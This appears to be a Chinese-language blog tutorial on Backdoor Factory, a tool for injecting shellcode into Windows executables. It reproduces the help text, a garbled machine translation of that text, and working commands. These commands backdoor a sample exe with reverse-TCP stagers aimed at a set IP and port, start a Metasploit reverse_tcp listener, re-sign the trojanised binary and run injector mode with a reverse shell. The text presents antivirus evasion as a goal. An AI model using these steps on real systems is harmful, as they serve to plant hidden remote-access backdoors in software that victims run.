后门免杀工具-Backdoor-factory

[email?protected]:~# backdoor-factory
__________                __       .___                   
______   _____    ____ |  | __ __| _/____   ___________ 
 |    |  _/__   _/ ___|  |/ // __ |/  _  /  _ _  __  
 |    |    / __   ___|    </ /_/ (  <_> |  <_> )  | /
 |______  /(____  /___  >__|_ ____ |____/ ____/|__|   
        /      /     /     /    /                    
___________              __                               
_   _____/____    _____/  |_  ___________ ___.__.        
 |    __) __   _/ ___   __/  _ _  __ <   |  |        
 |        / __   ___|  | (  <_> )  | /___  |        
 ___  /  (____  /___  >__|  ____/|__|   / ____|        
     /        /     /                   /             

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.4.2
         
Usage: backdoor-factory [options]

Options:
  -h,--help            show this help message and exit
  -f FILE,--file=FILE  File to backdoor
  -s SHELL,--shell=SHELL
                        Payloads that are available for use. Use ‘show‘ to see
                        payloads.
  -H HOST,--hostip=HOST
                        IP of the C2 for reverse connections.
  -P PORT,--port=PORT  The port to either connect back to for reverse shells
                        or to listen on for bind shells
  -J,--cave_jumping    Select this options if you want to use code cave
                        jumping to further hide your shellcode in the binary.
  -a,--add_new_section
                        Mandating that a new section be added to the exe
                        (better success) but less av avoidance
  -U SUPPLIED_SHELLCODE,--user_shellcode=SUPPLIED_SHELLCODE
                        User supplied shellcode,make sure that it matches the
                        architecture that you are targeting.
  -c,--cave            The cave flag will find code caves that can be used
                        for stashing shellcode. This will print to all the
                        code caves of a specific size.The -l flag can be use
                        with this setting.
  -l SHELL_LEN,--shell_length=SHELL_LEN
                        For use with -c to help find code caves of different
                        sizes
  -o OUTPUT,--output-file=OUTPUT
                        The backdoor output file
  -n NSECTION,--section=NSECTION
                        New section name must be less than seven characters
  -d DIR,--directory=DIR
                        This is the location of the files that you want to
                        backdoor. You can make a directory of file backdooring
                        faster by forcing the attaching of a codecave to the
                        exe by using the -a setting.
  -w,--change_access   This flag changes the section that houses the codecave
                        to RWE. Sometimes this is necessary. Enabled by
                        default. If disabled,the backdoor may fail.
  -i,--injector        This command turns the backdoor factory in a hunt and
                        shellcode inject type of mechanism. Edit the target
                        settings in the injector module.
  -u SUFFIX,--suffix=SUFFIX
                        For use with injector,places a suffix on the original
                        file for easy recovery
  -D,--delete_original
                        For use with injector module.  This command deletes
                        the original file.  Not for use in production systems.
                        *Author not responsible for stupid uses.*
  -O DISK_OFFSET,--disk_offset=DISK_OFFSET
                        Starting point on disk offset,in bytes. Some authors
                        want to obfuscate their on disk offset to avoid
                        reverse engineering,if you find one of those files
                        use this flag,after you find the offset.
  -S,--support_check   To determine if the file is supported by BDF prior to
                        backdooring the file. For use by itself or with
                        verbose. This check happens automatically if the
                        backdooring is attempted.
  -M,--cave-miner      Future use,to help determine smallest shellcode
                        possible in a PE file
  -q,--no_banner       Kills the banner.
  -v,--verbose         For debug information output.
  -T IMAGE_TYPE,--image-type=IMAGE_TYPE
                        ALL,x86,or x64 type binaries only. Default=ALL
  -Z,--zero_cert       Allows for the overwriting of the pointer to the PE
                        certificate table effectively removing the certificate
                        from the binary for all intents and purposes.
  -R,--runas_admin     EXPERIMENTAL Checks the PE binaries for
                        ‘requestedExecutionLevel level="highestAvailable"‘. If
                        this string is included in the binary,it must run as
                        system/admin. If not in Support Check mode it will
                        attmept to patch highestAvailable into the manifest if
                        requestedExecutionLevel entry exists.
  -L,--patch_dll       Use this setting if you DON‘T want to patch DLLs.
                        Patches by default.
  -F FAT_PRIORITY,--fat_priority=FAT_PRIORITY
                        For MACH-O format. If fat file,focus on which arch to
                        patch. Default is x64. To force x86 use -F x86,to
                        force both archs use -F ALL.
  -B BEACON,--beacon=BEACON
                        For payloads that have the ability to beacon out,set
                        the time in secs
  -m PATCH_METHOD,--patch-method=PATCH_METHOD
                        Patching methods for PE files,‘manual‘,‘automatic‘,replace and onionduke
  -b SUPPLIED_BINARY,--user_malware=SUPPLIED_BINARY
                        For onionduke. Provide your desired binary.
  -X,--xp_mode         Default: DO NOT support for XP legacy machines,use -X
                        to support XP. By default the binary will crash on XP
                        machines (e.g. sandboxes)
  -A,--idt_in_cave     EXPERIMENTAL By default a new Import Directory Table
                        is created in a new section,by calling this flag it
                        will be put in a code cave.  This can cause bianry
                        failure is some cases. Test on target binaries first.
  -C,--code_sign       For those with codesigning certs wishing to sign PE
                        binaries only. Name your signing key and private key
                        signingcert.cer and signingPrivateKey.pem repectively
                        in the certs directory it‘s up to you to obtain
                        signing certs.
  -p,--preprocess      To execute preprocessing scripts in the preprocess
                        directory

-h，——help显示此帮助消息并退出

-f文件，——FILE =FILE文件到后门

- s壳,壳=壳

可用的有效载荷。用show去看

有效载荷。

- h主机,hostip =主机

用于反向连接的C2的IP。

-P端口，——PORT =端口用于连接回shell的端口

或者监听绑定的外壳

如果您想使用code cave，请选择此选项

跳转到进一步隐藏二进制代码中的shell代码。

————add_new_section

命令向exe添加一个新的部分

(更好的成功)但更少的av回避

- u SUPPLIED_SHELLCODE,user_shellcode = SUPPLIED_SHELLCODE

用户提供的shell代码，确保它匹配

您的目标体系结构。

洞穴标志将找到可以使用的代码洞穴

用来存放shellcode。这将打印到所有

特定大小的代码洞穴。可以使用-l标志

这个设置。

- l SHELL_LEN,shell_length = SHELL_LEN

用于与-c一起使用，以帮助查找不同的代码洞穴

大小

- o输出,输出文件=输出

后门输出文件

= NSECTION - n NSECTION,部分

新节名必须小于7个字符

= DIR - d DIR,目录

这是您想要的文件的位置

后门。您可以创建一个文件回滚目录

通过强制将编解码器附加到

通过使用-a设置执行exe。

-w，——change_access这个标志改变了存储codecave的部分

莱茵集团。有时这是必要的。通过

违约。如果禁用，后门可能会失败。

-i，——injector这个命令将后门工厂变成一个狩猎和

shell代码注入机制的类型。编辑目标

注入器模块中的设置。

- u后缀,后缀=后缀

若要与注入器一起使用，请在原始文件上加上后缀

易于恢复的文件

- d,delete_original

与注入器模块一起使用。这个命令删除

原始文件。不用于生产系统。

作者不对愚蠢的使用负责

- o DISK_OFFSET,DISK_OFFSET = DISK_OFFSET

磁盘偏移量上的起始点，单位为字节。一些作者

要混淆它们在磁盘上的偏移量以避免

逆向工程，如果你找到其中一个文件

找到偏移量后使用此标志。

-S，——support_check，以确定该文件是否在之前得到BDF的支持

秘密文件。单独使用或与他人一起使用

详细的。如果。，则自动执行此检查

后门是未遂。

-M，——洞穴挖掘器的未来用途，以帮助确定最小的shell代码

可能在PE文件中

-q， -no_banner杀死了banner。

-v，——用于调试信息输出的详细信息。

- t IMAGE_TYPE,图像类型= IMAGE_TYPE

所有，仅x86或x64类型二进制文件。默认=所有

-Z，——zero_cert允许覆盖指向PE的指针

证书表有效地删除了证书

从二进制的所有意图和目的。

runas_admin实验检查PE二进制文件

‘ requestedExecutionLevel水平=“highestAvailable”。如果

这个字符串包含在二进制文件中，它必须以

系统/管理。如果没有在支持检查模式，它会

如果是的话，修改清单中的highestAvailable

requestedExecutionLevel条目存在。

如果不想对dll进行补丁，可以使用此设置。

默认情况下补丁。

- f FAT_PRIORITY,FAT_PRIORITY = FAT_PRIORITY

MACH-O格式。如果胖档，重点放在哪个拱门上

补丁。默认是x64。要强制x86使用-F x86

两个顶点都使用-F ALL。

- b灯塔,灯塔=灯塔

对于具有信标能力的有效载荷，设置

时间以秒为单位

- m PATCH_METHOD,patch-method = PATCH_METHOD

PE文件修补方法，“手动”，“自动”，

- b SUPPLIED_BINARY,user_malware = SUPPLIED_BINARY

onionduke。提供所需的二进制文件。

-X，——xp_mode默认值:不支持XP遗留机器，使用-X

支持XP。默认情况下，二进制文件将在XP上崩溃

机器(如沙箱)

-A，——idt_in_cave实验默认情况下一个新的导入目录表

是在一个新的部分中创建的，通过调用这个标志吗

将被放入一个代码洞穴。这会导致变节

失败是一些例子。首先测试目标二进制文件。

-C，——code_sign为那些与合作设计cert希望签署PE

二进制文件。命名您的签名密钥和私钥

signingcert。cer signingPrivateKey。pem安排

在certs目录中，由您来获取

签字确实的事情。

在预处理过程中执行预处理脚本

目录

backdoor-factory -f kui.exe -S

backdoor-factory -f kui.exe -c -l 200

backdoor-factory -f kui.exe -s show

backdoor-factory -f kui.exe -s iat_reverse_tcp_stager_threaded -H 192.168.5.4 -P 4444

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.5.3
set lport 4444
exploit

md5sum ./kui.exe /root/kui.exe

echo -n yourpassword > certs/passFile.txt

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

./backdoor.py -f kui.exe -s iat_reverse_tcp_inline -H 192.168.5.4 -P 4444 -m automatic -C

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow